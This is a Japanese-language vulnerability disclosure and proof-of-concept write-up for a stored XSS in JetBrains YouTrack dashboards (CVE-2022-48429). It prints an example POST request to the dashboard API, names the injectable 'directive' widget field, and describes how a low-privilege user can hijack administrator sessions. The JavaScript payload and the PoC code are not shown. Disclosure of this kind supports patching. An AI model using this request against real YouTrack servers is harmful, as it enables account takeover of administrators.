
CVE-2022-48429の概念実証エクスプロイト。JetBrains YouTrackのダッシュボードにおける保存型クロスサイトスクリプティングの脆弱性で、悪意のあるウィジェット注入により低権限ユーザーが管理者権限を乗っ取ることが可能になります。
NVDデータベース上のCVEの説明は正確さを欠いています。 以下はより正確な説明です:
Youtrack(バージョン <= 2022.3.65373)のダッシュボードに 保存型 クロスサイトスクリプティング(XSS)が存在します。 悪意のある低権限ユーザーが不正なダッシュボードを作成し、他のユーザー(管理者など)に送信して共有できます。これにより管理者権限を乗っ取られる可能性があります。
原作者: echo-devim
Youtrack バージョン 2022.3.65373 のセキュリティ問題を調査中に、ダッシュボードで XSS を発見しました。
非特権ユーザーが、注入された JavaScript を含む悪意のあるウィジェットを持つ新しいダッシュボードを作成できます。そのダッシュボードは管理者などの他のユーザーと共有でき、悪意のあるコードを送信できます。
この XSS は指定されたユーザーのみを対象とし、被害者に悪意のあるダッシュボードを開かせることが非常に簡単です。実際、新しいダッシュボードは被害者のホームページに通知されます。この脆弱性はバージョン 2021.4.38425 以降に存在することに気付きましたが、それ以前から存在する可能性もあります。
脆弱なパラメータは、ユーザーが新しいウィジェットを追加する際の "directive" です。
XSS を注入する悪意のあるリクエストの例:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
その後、ページをリフレッシュすると XSS が発生します:

この XSS により、低権限ユーザーが偽のログインフォームによるフィッシング、ユーザーのブラウザのリダイレクト、さらには管理者操作を実行できる可能性があります。
さらに悪いことに、プラットフォームでユーザー登録が有効になっている場合、外部の攻撃者が新しいユーザーを登録して攻撃を実行できる可能性があります。
PoC として、低権限のテストユーザーを使用して管理者アカウントのフルネームを変更しました。
PoC のコード:
このアニメーション GIF はその効果を示しています。左のウィンドウは非特権ユーザーのページ、右のウィンドウは管理者です。
